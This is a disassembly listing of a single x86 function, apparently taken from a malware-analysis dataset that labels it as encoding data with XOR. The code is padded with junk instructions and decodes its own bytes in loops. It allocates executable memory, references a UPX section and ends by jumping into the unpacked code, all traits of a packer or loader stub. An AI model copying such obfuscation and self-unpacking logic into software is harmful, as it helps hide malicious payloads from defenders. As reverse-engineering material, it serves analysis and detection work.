Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xe8da8964
sub edi, eax
sub eax, edi
inc eax
popal
mov edi, eax
not edi
dec edi
mov edi, 0
mov ebx, eax
add edx, 0xeccd1ef9
and edx, ecx
mov edx, ecx
mov esi, ebx
mov ecx, edx
and edx, edx
sub edx, ecx
mov eax, esi
or edx, edx
inc edx
or ecx, ecx
inc edi
add ecx, edx
sub edx, ecx
sub edx, 0x58648e9c
cmp edi, 0x1003def
jne 0xa789c2
not edx
not ecx
add eax, eax
sub eax, 0x9a19f8ab
sub edi, 0x4b60ad6e
mov ecx, 0xa78796
mov edx, edi
mov edx, 0xe42d0e67
mov esi, 0xa7898a
dec ebx
add ebx, 1
mov eax, dword [ecx]
add edi, ebx
mov edi, 0x699e67d8
add edi, edi
and eax, 0xff
mov ebx, 0xf9cf0480
mov edx, edi
xor dword [esi], eax
mov edx, 0x730c924a
mov edi, 0xf53910f7
add edx, edx
inc esi
and edi, edx
or ebx, edi
add ebx, 1
inc ecx
sub edx, 0xf63a8954
dec edi
cmp esi, entry0
jl 0xa78a1e
dec edx
not edx
and edx, edi
not ebx
dec ebx
or edi, edi
dec ecx
mov ebx, ecx
add ecx, ecx
mov edi, 0xa7898e
add ecx, esi
sub edx, ebx
add edx, edx
mov edi, dword [edi]
not ecx
mov ecx, edx
mov edx, esi
mov edi, dword [edi]
not edx
add edx, ebx
add ecx, 1
push edi
and edx, ebx
not esi
sub edx, 0x89e51be2
mov edi, 0xa7898a
not ecx
or esi, esi
mov edi, dword [edi]
mov esi, 0xd61eeabb
inc ebx
not ecx
mov edi, dword [edi]
or ebx, edx
sub edx, esi
sub ebx, edx
push 0xa78992
dec esi
add ebx, ebx
add ecx, 0xc6799169
call edi
add ebx, ecx
add ebx, 0xb1bff1b
pop edi
sub ecx, ebx
dec edx
sub esp, 4
mov dword [esp], 0xa7899f
add edx, esi
add edx, ebx
mov esi, edx
push eax
sub ebx, 0x19c57f1c
add ebx, 0x80431fc1
and esi, ebx
call edi
sub edx, 0x99133568
not ebx
push 0x40
mov esi, edx
sub ecx, edx
add ecx, edx
push 0x3000
sub esi, 0xf36ad8eb
not esi
push 0x20000dbf
or ecx, ecx
mov esi, ebx
inc ebx
sub esp, 4
mov dword [esp], 0
inc edx
add esi, 0x80720979
or esi, esi
call eax
dec edx
sub ecx, edx
add esi, esi
add eax, 0x20000d17
add esi, 0xf7aff150
and ecx, ebx
and ecx, edx
mov edi, 0x25b0bd34
sub ebx, edx
not edx
dec esi
mov dword [eax], edi
sub esi, 0x1be9e8eb
or ebx, ebx
sub esi, edx
mov edi, dword [eax]
mov esi, ecx
and ebx, edx
cmp edi, 0x25b0bd34
je 0xa78b73
mov eax, 0
mov edx, dword [eax]
not esi
and edx, esi
add ecx, 0x5c065596
dec ecx
or ecx, ebx
add eax, 0xa2bd1a96
and edi, edi
mov eax, 0xd6fb051e
mov ebx, section.UPX1
not edi
inc edi
mov edi, 0x43f44207
mov esi, 0xa78795
inc eax
mov eax, 0xa898c92
mov edx, 0
add eax, 1
or edi, eax
inc eax
mov ecx, 0xa78796
and edi, edi
add edi, eax
lea ecx, [edx + ecx]
mov eax, 0xac5cace8
add edi, edi
inc edi
mov ecx, dword [ecx]
sub edi, eax
or eax, edi
inc edi
and ecx, 0xff
sub eax, 0x9972c5fc
add edi, 0xf68cbaeb
not eax
inc edx
mov eax, edi
add eax, 0xd3153b23
cmp edx, 0x1f4
jne 0xa78bf8
mov edx, 0
add edi, edi
add eax, 0xa5b1f286
sub eax, edi
and eax, eax
add edi, edi
mov edi, eax
xor dword [ebx], ecx
add eax, eax
sub edi, 0x583e0c0d
sub eax, 0xeee3fb9d
add ebx, 2
not edi
sub edi, eax
cmp ebx, esi
jl 0xa78bb3
mov edi, 0xeeaac39f
or eax, edi
mov eax, edi
sub edi, 1
mov edi, section.UPX1
mov ecx, ebx
dec ebx
mov edx, section.UPX1
sub ecx, 1
sub ecx, 0x3aac2a4e
and ecx, ebx
mov esi, 0xa78795
add ebx, ebx
or ecx, ecx
mov eax, 0
sub ebx, 0x7d41186b
sub ebx, 0xa68da4db
sub ecx, ebx
mov al, byte [edx]
inc ebx
and ebx, ecx
mov ecx, 0x2ac8e5f7
mov byte [edi], al
add ecx, 0x3fc7fd2b
or ebx, ebx
inc edi
or ecx, ecx
dec ecx
add ebx, ecx
add edx, 2
and ecx, ecx
sub ebx, ecx
not ebx
cmp edx, esi
jle 0xa78c70
inc ebx
mov ecx, 0x393f629b
sub eax, edi
sub eax, edi
or edi, eax
push 0x8dc6a0
mov eax, 0x335094e7
dec edi
mov edi, eax
ret